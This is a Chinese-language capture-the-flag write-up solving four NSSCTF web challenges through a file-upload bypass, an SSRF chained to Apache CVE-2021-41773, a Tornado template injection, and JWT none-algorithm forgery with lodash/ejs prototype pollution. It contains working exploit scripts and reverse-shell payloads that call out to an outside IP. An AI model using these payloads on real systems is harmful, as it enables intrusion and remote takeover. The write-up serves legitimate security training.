NSSCTF 2nd WEB

php签到

考点

文件上传,绕过

题目

题解

文件名为xxx.xxx/.时,pathinfo函数的PATHINFO_EXTENSION只能得到空。

这里使用了file_put_contents()和urlencode

当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。

用表单上传

NSSCTF 2nd WEB_第1张图片

用蚁剑连接成功但找不到flag

法一:

NSSCTF 2nd WEB_第2张图片

法二:

MyBox

考点

flask,file协议

题目

进去一开始是一片空白

题解

看到有个url参数

猜测这里存在SSRF漏洞。尝试伪协议读取/etc/passwd,成功,存在SSRF。

/?url=file:///etc/passwd

image-20230829101135327

一:读取环境变量/proc/1/environ,获得flag。(非预期)

/?url=file:///proc/1/environ

image-20230829101334454

二:读取start.sh

/?url=file:///start.sh 

读取源码:/?url=file:///app/app.py

image-20230829101443029

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)

这是一个使用 Flask 框架编写的简单服务器应用。它的功能包括根据传入的 URL 参数进行不同的操作。

  • 如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
  • 如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
  • 如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
  • 如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。

发现一个很明显的SSRF利用点,本来得用gopher://协议打,但是这里魔改过,得把字符串gopher://换成mybox://

    elif url.startswith('mybox://127.0.0.1:'):port, content = url[18:].split('/_', maxsplit=1)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

先用gopher://协议发个请求包看看,请求一下不存在的PHP文件,搜集一下信息。

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

得到gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
换成mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
二次URL编码。
mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A

发包发到返回状态码404为止,可以看见这里Apache的版本是2.4.49,这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773)

image-20230829201229508

我们用gopher://协议打CVE-2021-41773,POST发包,执行命令反弹shell。

CVE原理见:https://blog.csdn.net/Jayjay___/article/details/132562801?spm=1001.2014.3001.5501
其中的WEEK5 [Unsafe Apache]

import urllib.parse
payload =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58echo;bash -c 'bash -i >& /dev/tcp/120.46.41.173/9023 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'mybox://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求发包所以要进行两次url编码

image-20230829202523841

发包反弹shell,getflag。

NSSCTF 2nd WEB_第3张图片

MyHurricane

考点

tornado模版注入

题目

import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())
    def post(self):
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""
                        
                        {data}
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')

if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),
        ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

直接给了源码

题解

这里过滤了', ", __()orand, not{{}}

如果没有过滤,我们的payload:

{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}

这里绕过的主要原理是Tornado模板在渲染时会执行__tt_utf8(__tt_tmp) 这样的函数,所以将__tt_utf8设置为eval,然后将__tt_tmp设置为了从POST方法中接收的字符串导致了RCE。

{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

根据

data = self.get_argument("ssti")

可知传参名为ssti

NSSCTF 2nd WEB_第4张图片

用env命令查看环境变量得到flag

NSSCTF 2nd WEB_第5张图片

MyJS

考点

JWT空秘钥伪造,ejs的lodash原型链渲染

题目

NSSCTF 2nd WEB_第6张图片

题解

NSSCTF 2nd WEB_第7张图片

根据提示找到源码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

这里参考大佬的解读

NSSCTF 2nd WEB_第8张图片

自己注册一个,给了我们一个token,显然是jwt

NSSCTF 2nd WEB_第9张图片

查看源码,在/register的路由源码中得知,题目中存在一个nss的用户名

image-20230901175617545

以及在以nss登录后,于/update路由中我们可以构造payload造成ejs模板引擎污染

req.session.data = lodash.merge(data, req.body);中的merge函数是原型链污染高位函数

想要登录,还得关注/login路由的代码

NSSCTF 2nd WEB_第10张图片

代码中的变量sid是JWT中的secretid,要求是不等于undefinednull等等。

验证用户名时使用了函数verifyverify()指定算法的正确方式应该是通过algorithms传入数组,而不是algorithm

algorithmsnone的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none

所以我们的目标进一步是使得代码中JWT解密密钥secretnull或者undefined

代码中的密钥是变量secretglobal.secrets[sid],只要我们使sid空数组[],也就是JWT中的secretid空数组[],我们就可以使得上面步骤得以实现,然后用空算法(none)伪造JWT

那么我们伪造JWT的脚本如下:

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {secretid: [],username: 'nss',password: '1234567',"iat":1695120124}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

得到token即可完成登录

NSSCTF 2nd WEB_第11张图片

这里是ejs模板引擎污染,直接利用现成的payload。(在/update路由打)

关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台 (anquanke.com)

{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/2333 0>&1\"');","compileDebug":true
    }
}

这里注意把content-type改为applicationNSSCTF 2nd WEB_第12张图片

然后再访问/home反弹shell

NSSCTF 2nd WEB_第13张图片

你可能感兴趣的:(NSSCTF,web安全)